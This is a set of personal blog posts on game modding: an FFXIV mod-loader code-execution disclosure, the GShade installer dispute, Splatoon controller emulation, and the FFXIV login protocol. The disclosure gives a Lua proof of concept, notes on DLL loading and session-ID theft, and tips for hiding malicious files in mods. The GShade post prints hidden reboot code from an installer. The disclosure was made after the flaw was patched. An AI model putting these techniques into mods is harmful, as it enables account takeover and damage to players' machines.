The Slop Crew server is built on GitHub Actions and uploads a Docker container to GitHub Packages. The plugin is also built on GitHub Actions, and automatically does releases to GitHub and Thunderstore when a new tag is created. This means that the Slop Crew plugin needs to have access to the game files in order to build against the game code. To solve this, I use the BepInEx assembly publicizer to create a stripped down version of the assembly, with no code in the methods - effectively equivalent to a header file. This is downloaded from a web server when the plugin is built.

Slop Crew is 100% open source software, and I try my best to make it so that anyone can selfhost it. The Docker container is what’s used in production, but anyone can use the container and modify the Docker Compose file.

Conclusion

Hopefully some of you enjoyed that. Slop Crew is a pretty big monolith of code now - over 10,000 lines, apparently! - but it certainly doesn’t feel that way to me. At its core, it’s a very simple set of systems connected to one another. If you liked reading that, but haven’t played the mod before, consider hopping online sometime!

How to get code execution from FFXIV mods in one simple step

Wed, 29 Mar 2023 00:00:00 GMT

Some bold text to start off with:

This vulnerability is patched in the latest version of Penumbra and TexTools. If you aren’t up to date (Penumbra 0.6.4.0+ and TexTools 2.3.8.5+), do it now. TexTools users will have to switch to the beta branch to get the latest version. Additionally, Mare Synchronos likely was never able to sync/execute this (and now can’t with the Penumbra fix).

Now, let’s explain what the vulnerability is. This vulnerability allows an attacker to build a specially crafted mod that would execute arbitrary code on file load, abusing what is fundamentally a bug in the base engine of FFXIV. By overwriting a certain path in the game’s filesystem, you could load code on game startup.

So, how was it possible?

Never trust your Lua state

Yep! Lua!

FFXIV uses Lua 5.1 to script a lot of things in the game. It doesn’t store just raw .lua files, though - it stores the weirdly-obscure Lua bytecode format (compiled with a 32-bit luac). These are in the game_script category in the game’s virtual filesystem, under the .luab file extension.

By writing custom code, compiling it into bytecode, and replacing files with it, your code can run in FFXIV’s Lua state! Oof.

And, if you modify the event handler Lua script, your code can run on startup! I found this path by replacing every known Lua script in the game (lol) with a script that would write the filename to a text file on my desktop. Just be careful when doing this, as the event handler is used a lot.

…wait a minute, write to a text file? Does that mean they- Oh no.

They left os and io in the Lua global table.

YEP! This means you can read and write files and execute arbitrary programs! It’s literally this easy:

os.execute("calc.exe")
os.exit(0)

Then you create the bytecode, swap the file, and you’re done! Calculator popped.

What you could do with this

There’s a lot of fun to be had with modifying Lua! You could:

Write a malicious payload to a file and run it
Break cutscenes, menus, and much more
Mess with the internals of FFXIV (spawn objects, play cutscenes, maybe even send invalid data to the server!)

Overall I haven’t explored the Lua state as much as I want to. The primary worry, of course, is executing malicious payloads from mod authors. This would have about the same amount of danger as running totally_not_a_virus.mp4.exe off of some shady corner of the Internet (it could do anything you can do).

Some tactics, featuring DLLs

Unfortunately, package.cpath is set to load DLLs from the game folder. This means not only can you run arbitrary code, you can run arbitrary code inside of the FFXIV process! With a little work in Rust (featuring the ctor crate), and storing the DLL as a byte array in the script (then writing it to a temporary file), we get free process access. We’re basically as powerful as a third party Dalamud plugin, which has big red text when installing it for a reason.

With enough effort, we can get the player’s session ID - the value that represents you when you log into the game - and do whatever with it. An attacker with this in their hands can log in as you!

Here’s a little proof of concept showing off viewing the user’s session ID:

How to blend in

While TexTools prompts you with every file, nobody really reads that. Stuff a bunch of unrelated files in there that mask the .luab and you’re good to go. Because sites like XIV Mod Archive don’t host mod files themselves, they can’t automatically scan for malicious files, meaning it has to be done in the modloader. Heliosphere is the only mod site I know of that blocks certain file extensions automatically on upload.

The lowest hanging fruit possible

I’m aware that this “vulnerability” is incredibly low hanging fruit. Sorry to the people that thought I found a vulnerability in file parsing or something.

Some may view me publishing this as immature and stupid, and causing shit for no good reason, but I can’t in good conscience keep this a secret. Just because nobody has exploited this yet doesn’t mean it won’t happen. Get your stuff patched!

Timeline

All times Eastern Time.

01/20: I realize this vulnerability is conceptually possible
01/21, 4:48 PM: I execute calc.exe from inside FFXIV using Penumbra
01/22, 10:39 AM: Ottermandias commits to Penumbra to fix this
01/22, 8:19 PM: I execute calc.exe from inside FFXIV using TexTools
01/22, 11:33 PM: I submit a proof of concept to PrettyKitty, owner of the TexTools Discord server
01/30, 12:07 PM: The Penumbra stable channel updates to patch the vulnerability
03/03, 11:17 AM: After 40 days, I contact PrettyKitty for a status update
03/27, 11:59 AM: I reach out to PrettyKitty one final time
03/29, 09:42 AM: TexTools is updated to patch the vulnerability

Update: 02/29, 7:36 PM: Seeing some people attack the TexTools team for their response time - please don’t! They’re doing this in their free time (volunteer work) and I was informed that most were busy with other stuff. I also (with permission) revealed that my contact wasn’t a moderator but actually PrettyKitty, who informed me my messages were delivered to the developers very quickly.

Closing

Penumbra and TT should’ve been blocking modifying these files for a very long time. I just so happened to be the first skid to put two and two together and break something! Good thing it’s fixed now. Maybe it was good that the first person to shout about this was me, because I’m not a malicious actor - I’m just an idiot.

I haven’t seen this exploited in the wild, but I am concerned that it could be (given that this post is essentially a how-to). Make sure to update your modloaders!

This “fun afternoon project” wouldn’t have been possible without:

Perch’s ResLogger2 for making it easy to yoink the Lua script file list
Anna’s excellent TTMP Rust library for making my TexTools testing easier, and Heliosphere for making it easy to avoid malicious files
Otter for fixing the Penumbra vulnerability fast and making modding painless
Pohky for telling me how fucked the Lua state was in the first place
The people who have built our decade of research into FFXIV for satisfying my autistic curiosity (too many to count)

The GShade tango continues

Tue, 07 Feb 2023 00:00:00 GMT

If you haven’t read the first one, do that.

Enter DeezShade

After the password protected .zip file, I had the idea of using the installer itself to download the files.

I made DeezShade - it reflects the official installer with C# magic to download the files without the password. Pretty funny loophole.

Marot gets mad - the sequel

So, I woke up the next morning, and guess what?

Yes, this is the kind of bullshit that GShade is working on, rather than bothering to implement a more sensible update system. The installer RESTARTS YOUR SYSTEM if it detects it's not being run "properly". Continued... pic.twitter.com/3eacb6RH5U
— perchbird (@perchbird_) February 6, 2023

I, uh, yep - Marot put malware in the GShade installer.

Specifically, it detects if App._instReady is set to false (which it would be on the official installer and not on DeezShade), and if so, SHUTS DOWN YOUR COMPUTER. The code looks like this:

private static void lol() => new Process()
{
  StartInfo = {
    WorkingDirectory = Environment.SystemDirectory,
    FileName = "shutdown.exe",
    Arguments = "-r -t 0",
    WindowStyle = ProcessWindowStyle.Hidden
  }
}.Start();

// later on in the code...
public static void InitialPermissionsProcess()
{
  if (!App._instReady)
    App.lol();

  // other stuff here, omitted for reading pleasure
}

I think(?) this is against the Computer Fraud and Abuse Act, but I’m not a lawyer. Lawyers, tell me: idkthelaw@(this domain)

The ultimate confrontation

After patching it out in DeezShade by setting that variable + using Harmony to patch the shutdown code, I decided to confront Marot about it in the GPOSERS Discord server.

After being called a kindergartener by the person who accused me of conspiracy to commit a crime, Marot showed up and left me the ultimate message:

…Wow.

He… he put malware in his software… as a “lesson”. HE WROTE MALWARE TO GET BACK AT A 16 YEAR OLD. LMAO.

The fallout

After this, multiple events happened:

The community ditched GShade
Marot gets banned from the r/FFXIV Discord server
Crosire, the developer of ReShade, does not approve of Marot’s behavior
Several YouTube videos were made about me (one, two)
This makes it onto the news
Marot gets banned off of GitHub
- To be clear, I didn’t do this. This’ll probably end up scaring Marot away from FOSS more, but whatever.
GShade trends on Twitter
- This bled through into the Sims and Second Life community, which is really funny to me.

Whew, what a ride.

Support the future of FOSS

If you enjoyed this ride, you should consider supporting FOSS. Support individual developers or donate to a larger charity fighting for technological freedom. Consider donating to the Software Freedom Conservancy, the Electronic Frontier Foundation, or any of your choice. I’d really appreciate it.

Now, back to my homework, eh? :^

Playing tango with GShade

Sun, 05 Feb 2023 00:00:00 GMT

UPDATE, 02/06 @ 12:45 PM ET: I’ve been banned from the GPOSERS Discord after Marot put malware inside of GShade’s installer. I’ll continue this in a part two soon.

This is gonna be a fun one.

The problem

GShade is a closed source ReShade fork. Why is it closed source? Who knows!

They have forced automatic updates (disabling itself until you update), annoying devs, and a userbase that’s only large because “everyone else uses it”. Their FAQ post explaining why the updates are forced is specifically designed to waste time. They have annoying, obtrusive popups. Configs randomly reset every update. It sucks.

Their installer is a total mess that also is not open source. Of course, monkey see and monkey get idea - let’s install ReShade with the GShade shaders!

Enter GeezShade

GeezShade is an open source shader/preset downloader written in Rust. It’s broken right now (i’ll get into that later), but it’s important for the story.

It works by downloading .zip files from GitHub. Seriously.

Almost immediately I got a tweet from a popular preset creator telling me to exclude their work from this. How do you exclude a preset from a program that fetches a GitHub API endpoint? I dunno.

I also got accused of hosting and “distributing” shaders and presets, and even that doing this was conspiracy to commit a crime!. Maybe those who said that should reread what that word means.

Marot responds

Marot, a.k.a. “The CEO of GShade” (I made that title up), after fighting me in my Twitter notifs (Marot, you’re shadowbanned on Twitter, by the way) comes up with the ultimate plan - add a LICENSE.md!

You can see it here. Note the automated downloading part. :^

Some other things I built

Here’s some other things I did to troll Marot while I got bored:

GShade Tango - the ultimate tool

I also made a CLI tool that I never released anywhere that had several features - download ReShade and GShade, patch the update check out of the GShade DLL, and download shaders/presets (including pinned before they added a license!)

The final straw - GShade Patcher

I also made an online patcher tool to patch the update check out of GShade! It’s borked right now - I’ll fix it someday if I have the energy.

Marot gets mad

I wake up one morning to a glorious version 4.1.1 of GShade. It:

breaks GeezShade/GShade Tango
breaks my patcher tool

I’ll fix it eventually, but I’m not in the mood right now.

This moves the GShade shaders and presets to a self-hosted web URL, password protected by a probably-not-legally-binding password claiming that “I indeed accessed this from the official installer”. Incredibly sad that Marot would intentionally break tools opting for a more open replacement for GShade.

So what now?

I’m getting bored of this. It was funny, though!

If I were you, still trying to use GShade on ReShade, I’d give this script a look - specifically presetAndShaderUpdate’s calls to curl, and the two variables at the top of that function. Have fun!

If you’re reading this, Marot: you really need to pick better things to do with your time than fight 16 year olds on the Internet. I’ll be back to fight for FOSS someday, but I’ve got more important things to do like schoolwork. Thanks for making a clear stance your software practices are evil, though.

This blog post was written in Vim, built with Zola, hosted through NGINX on Debian Linux through Proxmox. How’s that for open source!

The feminine urge to cheat in Splatoon

Tue, 20 Sep 2022 00:00:00 GMT

So, Splatoon 3 just came out recently. I’ve been having a lot of fun, but my favorite part about the game so far is the plaza when booting up the game.

There’s a neat little feature in the Splatoon series where you can draw a 320x120 1-bit image in game, and it’ll pop up in the main plaza for other players around the world to see. There is, however, the time honoured tradition of botting your Wii U/Switch in order to automatically print out images. What’s a user-generated-content without some fun botting?

I set off to hack together my own bot. The end goal? Nothing else but the beloved duck.png!

The final product.

However, I wouldn’t be showing you this now if it was the only goal. Oh no, this is a tale of something much bigger - a tale of painters, processors, and Pro Controllers.

ahem Let’s begin.

It begins with paint

So, like any other bored nerd on a Sunday morning, I started my day typing in “Splatoon image printer” into Google. I quickly found the work of Victrid’s splatplost, a Bluetooth-based printer.

Splatplost worked by using the libnxctrl Python library, which used Bluez (the Bluetooth stack for Linux) to emulate a Pro Controller wirelessly.

My main computer is a Windows machine (libnxctrl uses Bluez, so it’s Linux only), and it doesn’t even have a Bluetooth adapter in it, so I’d have to work with this on my laptop.

After jingling keys in front of my face for an eternity as I waited for everything to install into a virtualenv, I started it for the first time, and…

Thus do I remember the fate of this laptop: a 4K screen with half of the GUI libraries having fucked up DPI. Whew, this is gonna be a bit…

So, I clicked the “Start Pairing” button, and… it did nothing. Why? There’s no logs, so no way to tell!

After bashing my head against GitHub issues for a while, I realized that splatplost’s GUI is relatively new. Before Splatoon 3, it was just a CLI app split into multiple Python scripts.

I decided to clone the repo myself, go back to an older period in Git history (before the GUI), and manually applied the required fixes for Splatoon 3 myself. After doing this, I was greeted with an error in my console:

…drum roll, please…

…hciconfig was required. Here’s a fun fact about hciconfig: It’s so deprecated, not on the official Arch repositories (had to download it through the AUR), and the AUR description literally says “deprecated hciconfig tool from bluez”.

And there was no disclaimer or warning from this. Thankfully, I left a comment on GitHub, and the developer added more logging. Hopefully more Arch-brained users can benefit from this in the future.

With that headache over, Splatplost now worked, but I noticed it was working slowly. See, the thing is, Splatplost has a nice pathing system to try and find the best way to draw the images. However, literally going line-by-line would have been faster for this image, and Splatplost wasn’t optimized enough to know this.

Because I didn’t want to wait here for a projected 2 to 3 hours, I looked at my other options. What now?

Where we’re going, we don’t need pathing

See, the beauty of Splatplost is that the controller part is just a Python library. So we can do it ourselves!

I don’t really write Python often, and when I do, it’s messy quick hacks like these. And I’m perfect at quick hacks like these.

So, I wrote my own painter in about half an hour, using Splatplost as a reference. You can see it here if you’d like, but it’s not very fast (or creative).

I was able to paint two images, but I noticed something wrong with it. Due to the nature of Bluetooth, I couldn’t crank the speed too high or else it would desync and mess up. Even worse, it still seemed to make a mistake every once in a while!

I ended up tweeting about it, and my good friend Aly chimed in:

have you considered just doing it with tas-script or sys-script? I made my Mario Maker 2 painter with nx-TAS (now obselete) but the format is still supported by tas-script

This was an interesting avenue. I have a homebrewed Switch - I actually have two of them, because I bought one specifically for homebrew back before emuMMC existed.

However, that homebrewed Switch doesn’t own Splatoon - and given the amount of, uh, “non-Nintendo-friendly NSPs” that were installed, I didn’t want to connect it to my Nintendo account.

That’s when Aly suggested MonsterDruide’s ArduinoTAS, which begins the start of the hardware rabbithole.

Creating tool assisted paintings

ArduinoTAS is a fork of wchill’s SwitchInputEmulator, with a bit of Python script glue to support running a TAS script. The idea is to simulate a Pro Controller over USB using an Arduino.

If you’re not familiar with what a “TAS” is - it means “tool assisted speedrun”. This is specifically designed to play back a list of inputs in a specific order and timing, designed for speedruns performed by a computer to display the theoretical perfect speedrun.

The idea is simple - set up ArduinoTAS, write a program that takes an image and produces a TAS script, and then play that script on the Arduino. The real challenge is setting up ArduinoTAS.

ArduinoTAS isn’t actively maintained, so much so that the images in the README were dead. With little knowledge of how an Arduino really worked, I gathered one from the depths of my technology bin, and set out to understand the README.

ArduinoTAS had two interesting components to it: it required a USB to UART adapter (to send scripts over - the USB port for the Arduino was being use to emulate a Pro Controller), and it required a HDMI to VGA adapter. You would wire up the VSync pin from the VGA adapter to the Arduino, so it has an accurate reading of when each frame starts. That’s some really clever black magic.

After a long while of troubleshooting, I eventually figured out what cables to connect and where. I ended up using a separate Arduino instead of a USB to UART adapter, because I had one lying around and I didn’t want to wait 2 days for the package to arrive.

I didn’t have a soldering iron upstairs, so I just kind of touched the wire to the right pin using the power of friendship:

Check this cable out!

Now, all I needed to do was write a program to print out the images. And then I had an idea.

“What if you could emulate a controller and use a keyboard and mouse to play Splatoon?”

Cheating with the power of Python

In a haste of motivation, I quickly copied the clientTAS.py from the ArduinoTAS repository, and installed pygame into my virtual environment. It was time to make something sinister. By the way, at this point, I had finally set up my dual boot and was writing this code on my desktop.

Using the power of 10 if/else statements, I hacked together a proof of concept:

Check that out! Nifty, huh?

Of course, I’d instantly get banned if I queued into a public lobby with this. Not that I could, anyways - inputs were being dropped and the camera wasn’t precise.

ArduinoTAS, though very useful for painting, wasn’t very useful for cheating in Splatoon. Instead, I’d head upstream for that!

Swimming up the stream

As said before, ArduinoTAS is just a fork of SwitchInputEmulator, which is probably more suited for the task of emulating controller input. Let’s take a crack!

After a short flash later, it seems to work, but we need to get a script going. There exists a InputServer we can use in the repository.

It’s a C# server, targeting .NET 4.7.1. Updating the dependencies, changing the target framework, and changing the serial path is enough to get it building on Linux.

There seems to exist some sort of WebSocket functionality to control it, but it seems geared around Twitch, which I’m definitely not doing.

There also exists a “MultiInput”, which is a QT app. I kid you not, they don’t ship a Makefile or anything useful - they ship a Linux binary precompiled in the source tree. Jesus Christ.

I mean, it runs, but all the inputs are messed up and I have no idea how to build it. Given that’s both ways of interacting crossed out, I seeked to write my own client in Rust, but it ended up just stalling and I couldn’t figure out why.

Thus, did I stumble across the final part of this journey:

The Bluetooth ouroboros

You know, I originally moved to the Arduino, because Bluetooth was unstable. And now that my goal isn’t precise printing, and just controlling the game with a keyboard & mouse, Bluetooth looked like a good option!

One trip to Micro Center later, my PC now has Bluetooth support. I stumbled upon nxbt, another Python library using Bluez to emulate a Pro Controller - this time, with an already working web app!

Installing this was a nightmare. The dependencies were messed up and broken on Python 3.10, so I had to downgrade some things manually. If I wasn’t using a virtual environment I might have cried.

The web app, sadly, did not have any rebinding features. That’s okay - it’s a library! Following in the footsteps of ArduinoTAS, I hacked together another pygame app. And it literally looked the exact same, so much so that I won’t even bother to include the (80 megabyte) video of it!

The mouse was more choppier, strangely, but the inputs felt a bit more responsive (which is funny, for having more latency). Maybe I can fix this with a rewrite in not-pygame.

I also considered trying to emulate a controller with keyboard/mouse inputs, and just use the web app, but I couldn’t find anything that did that on Linux.

Conclusion

That sure was an ADHD spiral if I’ve ever seen one.

If you’re looking to print out images - use Splatplost or Shiny Quagsire’s Arduino printer - I ended up using the latter after I got bored of making my own, and it seems to work somewhat well. If you’re looking to cheat in Splatoon - please don’t. This was purely for my curiosity and I don’t plan to use this in online matches. Pls no ban Nintendo.

Shoutouts to all the developers making all the code referenced in this post - you’re powering my skid dreams. Thank you!

FFXIV Explained - The Login Process

Thu, 28 Jul 2022 00:00:00 GMT

For a while now, I’ve wanted to write up something interesting about FFXIV’s systems. I thought it would be a fun exercise and entertaining to write about how the login flow works, so I’m doing it!

This blog post will be aimed at semi-technical people familiar with some basic HTTP concepts, but I’ll be linking to Wikipedia pages for some technical terms, so anyone can understand the post if they wish.

If you know C#, feel free to follow along in the XIVLauncher source code.

Boot Versions

When updating the game, there are two types of updates: boot and game. Boot is the launcher, which requires no authentication, and game is the game files - you need to log in successfully to get the patch list. Fun fact: The files themselves aren’t authenticated - if you know the URL, you can download the patch, even without a service account.

We make an HTTP request to http://patch-bootver.ffxiv.com/http/win32/ffxivneo_release_boot/game_ver/, where game_ver is either the version file on disk, or the base game version (2012.01.01.0000.0000). We also add a query string of the current time, formatted in yyyy-MM-dd-HH-mm, where the last character is a zero. This seems to not be required - it’s probably for caching.

You can actually make this request yourself to see what it looks like:

curl http://patch-bootver.ffxiv.com/http/win32/ffxivneo_release_boot/2012.01.01.0000.0000/ -H "User-Agent: FFXIV PATCH CLIENT"

If the request returns a 204 No Content, that means we’re up to date - else, we should parse this patch list. Each line is a patch, with parameters separated by \t. You can see the patch length (first argument), version ID, and URL to the patch. The client should then download and install these patch files, but that’s out of scope for this post.

Steam Tickets

If the user is using a Steam service account, we’ll need a ticket from the Steamworks API. Let’s break down what happens in the code here.

We initialize the Steamworks API, using the free trial app ID if chosen in the XIVLauncher settings, and get the ticket:

public static async Task<Ticket?> Get(ISteam steam)
{
    var ticketBytes = await steam.GetAuthSessionTicketAsync().ConfigureAwait(true);

    if (ticketBytes == null)
        return null;

    return EncryptAuthSessionTicket(ticketBytes, steam.GetServerRealTime());
}

Square Enix has decided to utilize their MASSIVE BRAIN once again and encrypt the ticket, for seemingly no good reason. It can’t be that bad though, right? Let’s see what’s in EncryptAuthSessionTicket…

time -= 5;
time -= time % 60; // Time should be rounded to nearest minute.

var blowfishKey = $"{time:x08}#un@e=x>";

Ah… truly a beauty to see. Square Enix loves abusing Blowfish in literally every scenario possible. Fun fact: In FFXIV’s netcode, they use a broken implementation of Blowfish! We refer to this as “Brokefish” in the community.

Next, we do some strange things to the ticket:

We turn it into a string, remove any dashes from the string, and turn it back to bytes. Why? Who knows!
We create a byte array 1 byte longer than the ticket, filling the array with the ticket, and zeroing out the last byte.
We create a sum by iterating through the ticket and adding each byte to a ushort.
We create a BinaryWriter with a MemoryStream, write the ticket sum to it, and then write the ticket data to it.

We cast the ticket sum to a short, and use the time to create an instance of CrtRand (an implementation of the Windows libc random number generator):

int castTicketSum = unchecked((short)ticketSum);
var seed = time ^ castTicketSum;
var rand = new CrtRand((uint)seed);

We’re going to have to use Square Enix’s “fucked garbage alphabet” in this next step, to create “garbage”. If you’re curious, their fucked garbage alphabet is 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz-_.

We then create garbage:

var numRandomBytes = ((ulong)(rawTicket.Length + 9) & 0xFFFFFFFFFFFFFFF8) - 2 - (ulong)rawTicket.Length;
var garbage = new byte[numRandomBytes];

uint fuckedSum = BitConverter.ToUInt32(memorySteam.ToArray(), 0);

for (var i = 0u; i < numRandomBytes; i++)
{
    var randChar = FUCKED_GARBAGE_ALPHABET[(int)(fuckedSum + rand.Next()) & 0x3F];
    garbage[i] = (byte)randChar;
    fuckedSum += randChar;
}

We then write the garbage, and overwrite the first byte with the fuckedSum. Now we’re going to encrypt it!

We swap the first and second bytes, and use the Blowfish key we generated earlier to create an ECB Blowfish cipher. We encrypt the bytes, and - get ready for it - turn it into a custom variant of Base64!

This Base64 is basically the same as the regular implementation, but the following characters are swapped:

+ to -
/ to _
= to *

We then chunk the Base64 string into chunks of 300 bytes, and join these chunks with a comma. And that’s how you make a fucked up Steam ticket, Square Enix style!

Checking Gate Status

We make a request to https://frontier.ffxiv.com/worldStatus/gate_status.json, which just returns JSON telling us if the “gates are open” - if we should continue attempting a login.

We’re gonna need to use the system called OAuth (but not really like OAuth) to log in now. We’re gonna make a request to https://ffxiv-login.square-enix.com/oauth/ffxivarr/login/top with the following query string:

key	value
`lng`	`en`
`rgn`	`3`
`isft`	`1` or `0`
`cssmode`	`1`
`isnew`	`1`
`launchver`	`3`

If we’re on Steam, we add the following values:

key	value
`issteam`	`1`
`session_ticket`	(the ticket)
`ticket_size`	(ticket length)

We then make a request to the formed URL, and the response is: …HTML?

Yep, that’s right! There’s no API in this town, the launcher is literally just HTML being served by an Apache server. It even comes with raw, commented-with-Japanese-text JavaScript, baked into the website!

Using a regex is faster than parsing HTML, so we use it to grab a mystical value called _STORED_. We’ll used STORED later on to exchange a session ID, which we can then use to start the game.

If we’re on Steam, we also use another regex to grab the username of the Steam account associated with this Square Enix account. We can use this to double check we’re on the right account.

We’re then gonna make a POST request to https://ffxiv-login.square-enix.com/oauth/ffxivarr/login/login.send, with a application/x-www-form-urlencoded form:

key	value
`_STORED_`	the value we obtained earlier
`sqexid`	your username
`password`	your password
`otppw`	your OTP, if any

We regex the return value of this to get the following information:

Your session ID
Region of the account
If you’ve accepted the terms of service
If the account is “playable” (e.g. subscription paid up)
The expansions owned by this account

Registering a session

We now have a session ID! We can use this to register a session.

Before this, we do the minimum to ensure our game isn’t corrupted by matching the .ver and .bck files, to make sure the version files aren’t corrupted. If the version files are corrupted, it’s a 90% chance the game is, too.

We make another POST request to https://patch-gamever.ffxiv.com/http/win32/ffxivneo_release_game/game_ver/session_id, where game_ver is the game version (or the fallback 2012.01.01 one), and session_id is our session ID.

We’re going to need to send along a version report. It looks like this:

2022.03.25.0000.0001=(BOOT HASH INFO)
ex1 2022.05.26.0000.0000
ex2 2022.05.26.0000.0000
ex3 2022.05.26.0000.0000
ex4 2022.05.27.0000.0000

The hash info is an array of strings, joined by ,. Each entry is made up of information regarding a file, to make sure none of the launcher’s files have been tampered with. Each entry looks like file_name/file_length/file_hash.

This also will return patch info, with a slightly different structure than to boot. If we need to update the game, we do it here (again, out of scope). We also get an X-Patch-Unique-Id header, which we get to keep for later.

If we get a 409 Conflict, that means we’re in the “everything is fucked” state. This means the files have been tampered with, most likely by a third party, and that we should panic! D: A 410 Gone means that one of the versions we have isn’t being serviced by the launcher anymore.

Starting the game

Finally! We can start ffxiv_dx11.exe with the following arguments, in key=value form:

key	value
`DEV.DataPathType`	`1`
`DEV.MaxEntitledExpansionID`	value from oauth login
`DEV.TestSID`	session ID
`DEV.UseSqPack`	`1`
`SYS.Region`	value from oauth login
`language`	`0`-`3`
`resetConfig`	`0`
`ver`	`.ver` file from game install

I find it quite funny the “Test SID” is the legitimate session ID used to start the game. Ah, Square Enix…

We also add IsSteam=1 and set the environment variable IS_FFXIV_LAUNCH_FROM_STEAM to 1 when launching through Steam.

The game also (optionally) accepts encrypted arguments, based on the current time. It’s a bit too much to explain, so see here if you’re interested.

Closing thoughts

Welp, that was a waste of a few hours. Maybe in a future post I’ll cover the lobby server, based on research from Sapphire…

I hope you enjoyed reading this! Sorry if I got a bit rambly at times.